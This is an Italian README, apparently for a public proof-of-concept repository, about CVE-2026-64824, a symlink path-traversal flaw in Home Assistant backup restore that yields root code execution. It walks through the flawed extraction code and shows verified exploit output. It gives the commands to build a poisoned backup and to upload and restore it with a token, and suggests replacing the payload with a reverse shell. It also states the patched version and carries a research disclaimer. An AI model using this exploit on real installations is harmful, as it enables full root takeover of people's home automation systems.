
CVE-2026-64824 — Home Assistant backup-restore: attraversamento del percorso tramite symlink → RCE da root. Primo PoC funzionante, verificato su una reale installazione di HA 2026.5.4 (sovrascrittura di sitecustomize.py). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Critico) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
Un attaccante autenticato (admin) carica un tar di backup appositamente modificato. Il percorso di ripristino estrae il homeassistant.tar.gz interno con filter="fully_trusted" e valida solo i nomi dei membri — mai i linkname di tipo SYMTYPE. Un symlink che punta a un percorso assoluto (ad es. site-packages/ di Python) viene rispettato, quindi un sitecustomize.py scritto dopo di esso finisce fuori dalla directory di estrazione come root (l'immagine Docker ufficiale esegue HA come root). Al successivo avvio di Python viene importato automaticamente → RCE come root.
✅ Home Assistant Core 2026.5.4 reale (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py è finito in /usr/local/lib/python3.14/site-packages/ (di proprietà di root)
✅ Verifica negativa: il modulo tarfile di Python 3.14.5 rifiuta i symlink assoluti (FileExistsError); Python 3.14.2 (incluso con HA 2026.5.x) li estrae — ecco perché le build più vecchie sono sfruttabili. Corretto in HA 2026.7.0.
homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() rifiuta nomi assoluti e traversal .., ma un membro SYMTYPE con un nome benigno + linkname assoluto supera il filtro invariato, e fully_trusted dice a tarfile di non controllarlo.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
Formato del backup (v2, corrisponde ai backup HA reali):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
Qualsiasi avvio di un processo Python (riavvio di HA, python3 ... nel container) attiva sitecustomize.py — che esegue id > /tmp/HA_PWNED_64824 come root. Sostituisci il payload con una reverse shell per il controllo completo.
Aggiorna a HA 2026.7.0+ (il ripristino ora usa un filtro tar rigoroso che rifiuta le voci symlink che escono dalla directory di estrazione).
Solo a scopo di ricerca/educazione. La vulnerabilità è già stata divulgata (GHSA-cwh8-w64c-4j5h) e corretta in 2026.7.0; questo repository dimostra la catena di sfruttamento per difensori e ricercatori.